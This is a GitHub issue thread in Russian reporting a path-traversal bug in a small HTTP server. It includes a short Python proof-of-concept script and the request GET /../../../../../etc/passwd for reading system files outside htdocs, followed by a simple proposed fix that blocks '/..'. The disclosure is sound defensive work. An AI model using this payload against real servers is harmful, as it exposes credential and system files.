Чтение файлов вне htdocs
Closed this issue · 4 comments
schdub commented
Вот, например, как можно прочитать /etc/passwd у меня в системе, с учетом что wd:~/src/build-a-Desktop-Debug
#!/usr/bin/python
import socket
import sys
def GET(host, path, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.30)
s.connect((host, port))
s.send("GET %s HTTP/1.0\r\n" % (path))
total_data = []
while True:
data = s.recv(8192)
if (len(data)>0):
total_data.append(data)
else:
break
print ''.join(total_data)
s.shutdown(1)
s.close()
GET(sys.argv[1], sys.argv[2], 3006)
MrOnlineCoder commented
Сервер отправляет файлы только с папки htdocs.
schdub commented
Нет, если использовать скрипт из моего предыдущего поста, то можно обойти это ограничение.
MrOnlineCoder commented
Не заметил
Есть идеи как исправить?
schdub commented
Допустим, файлы берутся из /home/user/src/build-a-Desktop-Debug/htdocs
При запросе GET /../../../../../etc/passwd, путь к файлу, который будет загружать сервер:
/home/user/src/build-a-Desktop-Debug/htdocs/../../../../../etc/passwd
.. - родительская директория, т.е. на уровне файловой системы, останется только
/etc/passwd
Решение простое: в запросе, в пути, не должно быть /..